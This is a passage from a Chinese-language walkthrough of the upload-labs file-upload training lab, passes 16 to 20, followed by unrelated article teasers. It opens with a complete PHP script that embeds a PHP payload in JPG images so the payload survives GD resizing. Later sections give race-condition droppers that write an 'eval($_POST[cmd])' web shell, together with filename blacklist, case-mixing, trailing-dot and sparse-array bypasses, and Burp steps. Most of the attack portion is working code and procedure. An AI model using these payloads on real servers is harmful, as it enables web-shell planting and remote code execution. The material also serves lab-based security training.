<?php/*?The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.?1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>?In case of successful injection you will get a specially crafted image, which should be uploaded again.?Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.?Sergey Bobrov @Black2Fan.?See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/?*/?$miniPayload = "<?=phpinfo();?>";??if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}?if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}?set_error_handler("custom_error_handler");?for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;?if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}?while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');?function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}?function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}?class DataInputStream {private $binData;private $order;private $size;?public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}?public function seek() {return ($this->size - strlen($this->binData));}?public function skip($skip) {$this->binData = substr($this->binData, $skip);}?public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}?public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}?public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}?>

但是這個腳本運行之前要先準備一張1.jpg圖片,然后運行腳本

然后就跟png的處理方式一樣了

pass-17

代碼審計

這一關是一個邏輯漏洞,由此就會產生競爭型漏洞,來看下面的代碼

$is_upload = false;$msg = null;?if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;?if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";unlink($upload_file);}}else{$msg = '上傳出錯!';}}

看第二個if判斷里面,漏洞就在這里,它先判斷文件是否在白名單里,如果不在就不允許上傳并刪除,反之允許上傳。

在它判斷出不允許上傳到刪除這個時間間隙里,我們可以競爭。

即,在它判斷并且還沒有改名的極短時間內,我們可以訪問到這個文件,如果這個文件的php代碼是在當前目錄的上一級目錄生成我們的實際payload,那么即使它判斷完畢,把我們先上傳的文件刪除也沒關系,因為我們已經生成一個實際的payload在上一級目錄了,而這個目錄它是刪不了的,這樣我們就成功上傳webshell了。

文件上傳

1. 準備php文件
?<?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST[cmd]);)?>');
2. 上傳

人跟程序競爭基本搞不了,所以使用Burp抓包。

再靶場上傳之后,使用Burp抓包,然后發給Intruder模塊,然后不停的發包,然后再瀏覽器不停的訪問,具體操作如下

  1. 抓包改包

  1. 驗證

pass-18

代碼審計

//index.php$is_upload = false;$msg = null;if (isset($_POST['submit'])){require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已經被上傳,但沒有重命名。';break; case -1:$msg = '這個文件不能上傳到服務器的臨時文件存儲目錄。';break; case -2:$msg = '上傳失敗,上傳目錄不可寫。';break; case -3:$msg = '上傳失敗,無法上傳該類型文件。';break; case -4:$msg = '上傳失敗,上傳的文件過大。';break; case -5:$msg = '上傳失敗,服務器已經存在相同名稱文件。';break; case -6:$msg = '文件無法上傳,文件不能復制到目標目錄。';break; ? ? ?default:$msg = '未知錯誤!';break;}}?//myupload.phpclass MyUpload{.................. var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );?.................. ?/** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}?$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}?$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}?$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}}?// if we are here, we are ready to move the file to destination?$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}?// check if we need to rename the file?if( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}}// if we are here, everything worked as planned :)?return $this->resultUpload( "SUCCESS" );}.................. };

這個代碼看起來很多,但是對我們來說,重點在這里

$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}?// check if we need to rename the file?if( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); ? ?}}

這里就表明了,它的處理邏輯還是先上傳,再重命名,這樣又會出現一個時間間隙,我們又可以競爭。

只不過有了一個白名單的限制,我們不能上傳.php文件了不過可以上傳圖片碼,但是圖片碼也不能解析,還需要一個文件包含。

文件上傳

1. 準備圖片碼
<?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST["cmd"]);');或<?php file_put_contents('../wehshell.php','<?php phpinfo();');文件保存為:democompete.php然后使用copy命令,構造圖片碼并重命名為1.jpg。然后上傳。

然后在瀏覽器訪問以下路徑

http://10.128.133.182/upload-labs-env/WWW/include.php?file=upload/1.jpg
2. Burp抓包

因為時間間隙太短,最好使用Burp,一邊不斷發包,一邊配合python腳本,不斷訪問指定URL。這樣成功率更高。

抓包,然后用Intruder模塊持續發包

運行python腳本,持續訪問文件

3. 在文件夾里查看

pass-19

代碼審計

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");?$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);?if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上傳出錯!';}}else{$msg = '禁止保存為該類型文件!';}?} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}

這里又是一個黑名單攔截,但是我們觀察它的黑名單,并沒有大寫限制,所以一種方法是把php的后寫成大小寫混合的樣式,比如.pHP

還有一種是利用phpwindows文件系統的特性來做文章,windows就是會把.、空格還有::$DATA自動去掉,而php是因為move_upload_file()函數,

這個函數會自動去掉文件末尾的/.。所以,在上傳的時候,我們使用Burp抓包,然后修改一下文件后綴,那就可以成功。

文件上傳

1. 大小寫

準備這樣一個php文件

然后就上傳,之后查看一下就可以驗證了

上傳

下面這張是上傳之后的樣子,有那個破碎的圖片樣式,就表示成功了

然后在文件夾查看一下

2. 添加后綴

直接上傳一個php文件,

然后使用Burp抓包,把后綴改一下再放包,然后文件夾驗證一下

先加一個.

再加一個/

可以看到都成功了

pass-20

代碼審計

$is_upload = false;$msg = null;if(!empty($_FILES['upload_file'])){//檢查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上傳該類型文件!";}else{//檢查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}?$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上傳該后綴文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上傳成功!";$is_upload = true;} else {$msg = "文件上傳失敗!";}}}}else{$msg = "請選擇要上傳的文件!";}

這一關有一點繞,但是呢也還是比較簡單。

它的邏輯是這樣的:

首先是一個前端檢測,

?$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上傳該類型文件!";}

檢測通過了就判斷我們傳入的是不是一個數組,如果不是,那就把文件名以.分割,進行數組化,

?if (!is_array($file)) {$file = explode('.', strtolower($file));}

然后取數組的最后一個元素,也就是我們文件的后綴名,進行一個白名單過濾,

?$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上傳該后綴文件!";

檢測通過了,再把文件重命名回來,

?$file_name = reset($file) . '.' . $file[count($file) - 1];

問題就出在這里,這個count函數,它在計算的時候如果遇到的數組是稀疏的(某些索引未定義),count() 只會計算已定義的索引,也就是實際有值的索引。

正常來說,我們傳入的文件是abc.jpg,經過數組化之后,0下標是abc1下標是jpg,它計算出2,然后進行一個count($file) - 1

那么就會有$file[1],也就是jpg,然后用reset函數取數組第一個元素,也就是abc,這樣就正好再次組成文件名abc.jpg。然而,如果在傳入文件的時候,我們通過Burp抓包,構建一個稀疏數組,

比如這樣的

?["web.php",,"jpg"]

那么在計算的時候,得到的結果還是2,然后又減去1,這樣就有$file[1],而這里的1下標為空(是什么都沒有。而不是null),這樣重命名,那么最后文件的名稱就是web.php.

而這個.又可以利用windows系統的文件特性去掉,這樣,我們最終就可以得到web.php文件,也就能成功實現上傳webshell的目的。

文件上傳

1. 上傳

2. 抓包改包

這里1的位置要改為圖示的內容,因為這里是一個前端繞過,不改的話不行,具體見pass-02

2的位置改為圖示的數字,下標為0

3、4部分是按照結構復制2部分得到的,其中3的下標一定不要是1,不然就沒有意義了,

4的位置呢就根據白名單寫,寫一個就好了

然后Send就可以了

3. 驗證

這里可以看到info.php已經成功上傳了

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/72748.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/72748.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/72748.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

AI編程工具節選

1、文心快碼 百度基于文心大模型推出的一款智能編碼助手&#xff0c; 官網地址&#xff1a;文心快碼(Baidu Comate)更懂你的智能代碼助手 2、通義靈碼 阿里云出品的一款基于通義大模型的智能編碼輔助工具&#xff0c; 官網地址&#xff1a;通義靈碼_你的智能編碼助手-阿里云 …

目錄掃描工具深度對比:Dirb、Dirsearch、DirBuster、Feroxbuster 與 Gobuster

? 前言 在網絡安全測試與滲透測試中&#xff0c;目錄掃描&#xff08;又稱目錄枚舉&#xff09;是一項至關重要的技術。它用于發現 Web 服務器上未公開的隱藏目錄和文件&#xff0c;這些資源可能包含敏感數據、配置文件甚至潛在漏洞&#xff0c;因而成為攻擊者與安全研究人員…

“雙碳”背景下,企業應該如何提升能源效率?

在當今競爭激烈的市場環境中&#xff0c;企業不僅需要優化成本&#xff0c;還需積極響應國家的能源政策&#xff0c;減少對環境的影響。提升工業能源效率正是實現這一雙重目標的關鍵。中國近年來大力推進“雙碳”目標&#xff08;碳達峰、碳中和&#xff09;&#xff0c;并出臺…

無人機擴頻技術對比!

一、技術原理與核心差異 FHSS&#xff08;跳頻擴頻&#xff09; 核心原理&#xff1a;通過偽隨機序列控制載波頻率在多個頻點上快速跳變&#xff0c;收發雙方需同步跳頻序列。信號在某一時刻僅占用窄帶頻譜&#xff0c;但整體覆蓋寬頻帶。 技術特點&#xff1a; 抗干擾…

當AI開始“思考“:拆解大模型訓練與推理的秘密(以DeepSeek為例)

如果你用過deepseek&#xff0c;可能體驗過它在幾秒內編故事、寫代碼的震撼。但你是否想過&#xff0c;這種"智能輸出"背后存在兩種完全不同的底層機制&#xff1f;就像人類需要先學習知識&#xff08;訓練&#xff09;才能考試答題&#xff08;推理&#xff09;&…

永洪科技深度分析實戰,零售企業的銷量預測

隨著人工智能技術的不斷發展&#xff0c;智能預測已經成為各個領域的重要應用之一。現在&#xff0c;智能預測技術已經廣泛應用于金融、零售、醫療、能源等領域&#xff0c;為企業和個人提供決策支持。 智能預測技術通過分析大量的數據&#xff0c;利用機器學習和深度學習算法…

Vue項目通過內嵌iframe訪問另一個vue頁面,獲取token適配后端鑒權(以內嵌若依項目舉例)

1. 改造子Vue項目進行適配(ruoyi舉例) (1) 在路由文件添加需要被外鏈的vue頁面配置 // 若依項目的話是 router/index.js文件 {path: /contrast,component: () > import(/views/contrast/index),hidden: true },(2) 開放白名單 // 若依項目的話是 permission.js 文件 cons…

【DeepSeek】5分鐘快速實現本地化部署教程

一、快捷部署 &#xff08;1&#xff09;下載ds大模型安裝助手&#xff0c;下載后直接點擊快速安裝即可。 https://file-cdn-deepseek.fanqiesoft.cn/deepseek/deepseek_28348_st.exe &#xff08;2&#xff09;打開軟件&#xff0c;點擊立即激活 &#xff08;3&#xff09;選…

Linux第一課

如何在Windows系統上安裝紅帽Linux虛擬機 一:下載VNware 下載鏈接:Desktop Hypervisor Solutions | VMware 二:下載操作系統鏡像文件 在阿里云開源鏡像站下載(本文章下載 red hat 9.3) 阿里云開源鏡像站鏈接:阿里巴巴開源鏡像站-OPSX鏡像站-阿里云開發者社區 三:創建虛擬機文…

語音分離:使用短時能量提取主聲源

語音分離模型&#xff1a;mossfomer2 計算短時能量 def compute_short_time_energy(audio: np.ndarray, frame_size: int, hop_size: int) -> np.ndarray:"""計算音頻信號的短時能量 將音頻分為若干幀&#xff0c;每一幀長度為 frame_size, 幀與幀之間以 h…

【VUE】第二期——生命周期及工程化

目錄 1 生命周期 1.1 介紹 1.2 鉤子 2 可視化圖表庫 3 腳手架Vue CLI 3.1 使用步驟 3.2 項目目錄介紹 3.3 main.js入口文件代碼介紹 4 組件化開發 4.1 組件 4.2 普通組件注冊 4.2.1 局部注冊 4.2.2 全局注冊 1 生命周期 1.1 介紹 Vue生命周期&#xff1a;就是…

SyntaxError: Unexpected keyword ‘else‘

&#x1f90d; 前端開發工程師、技術日更博主、已過CET6 &#x1f368; 阿珊和她的貓_CSDN博客專家、23年度博客之星前端領域TOP1 &#x1f560; 牛客高級專題作者、打造專欄《前端面試必備》 、《2024面試高頻手撕題》、《前端求職突破計劃》 &#x1f35a; 藍橋云課簽約作者、…

Spring Boot靜態資源訪問順序

在 Spring Boot 中&#xff0c;static 和 public 目錄都用于存放靜態資源&#xff08;如 HTML、CSS、JavaScript、圖片等文件&#xff09;&#xff0c;但它們在使用上有一些細微的區別。以下是它們的詳細對比&#xff1a; 1. 默認優先級 Spring Boot 會按照以下優先級加載靜態…

windows 平臺如何點擊網頁上的url ,會打開遠程桌面連接服務器

你可以使用自定義協議方案&#xff08;Protocol Scheme&#xff09;實現網頁上點擊URL后自動啟動遠程桌面連接&#xff08;mstsc&#xff09;&#xff0c;參考你提供的C代碼思路&#xff0c;如下實現&#xff1a; 第一步&#xff1a;注冊自定義協議 使用類似openmstsc://協議…

UniApp 運行的微信小程序如何進行深度優化

UniApp 運行的微信小程序如何進行深度優化 目錄 引言性能優化 1. 減少包體積2. 優化頁面加載速度3. 減少 setData 調用4. 使用分包加載 代碼優化 1. 減少不必要的代碼2. 使用條件編譯3. 優化圖片資源 用戶體驗優化 1. 優化交互體驗2. 預加載數據3. 使用骨架屏 調試與監控 1. …

ESP32S3N16R8驅動ST7701S屏幕(vscode+PlatfoemIO)

1.開發板配置 本人開發板使用ESP32S3-wroom1-n16r8最小系統板 由于基于vscode與PlatformIO框架開發&#xff0c;無espidf框架&#xff0c;因此無法直接燒錄程序&#xff0c;配置開發板參數如下&#xff1a; 在platformio.ini文件中&#xff0c;配置使用esp32-s3-devkitc-1開發…

ASP.NET 微服務網關 Ocelot+Consul+Skywalking

ASP.NET 微服務網關 OcelotConsulSkywalking APIGateWaySample簡介網關相關技術核心其它 請求處理流程環境搭建代碼運行效果圖 APIGateWaySample Ocelot Consul Skywalking 簡介 系統設計圖 網關 API網關&#xff08;Gateway&#xff09;是一個服務器&#xff0c;是系統…

頻譜分析儀的使用

頻譜分析儀設置帶寬的方式&#xff1a; 可以利用同軸線纜來制作近場探頭&#xff1a; 區別dB和dBm兩個單位&#xff1a; 無線電波的發射功率是指在給定頻段范圍內的能量&#xff0c;通常有兩種衡量 或測量標準&#xff1a;   1、功率&#xff08;W&#xff09;&#xff1a;相…

【數據分析】轉錄組基因表達的KEGG通路富集分析教程

禁止商業或二改轉載,僅供自學使用,侵權必究,如需截取部分內容請后臺聯系作者! 文章目錄 介紹差異分析(limma)KEGG富集分析(enrichKEGG)可視化加載R包數據下載導入數據基因差異分析火山圖KEGG通路富集分析可視化通路結果另一個案例總結系統信息參考介紹 KEGG富集分析,可…

關于sqlalchemy的使用

關于sqlalchemy的使用 說明一、sqlachemy總體使用思路二、安裝與創建庫、連結庫三、創建表、增加數據四、查詢記錄五、更新或刪除六、關聯表定義 說明 本教程所需軟件及庫python3.10、sqlalchemy安裝與創建庫、連結庫創建表、增加數據查詢記錄 一、sqlachemy總體使用思路 在…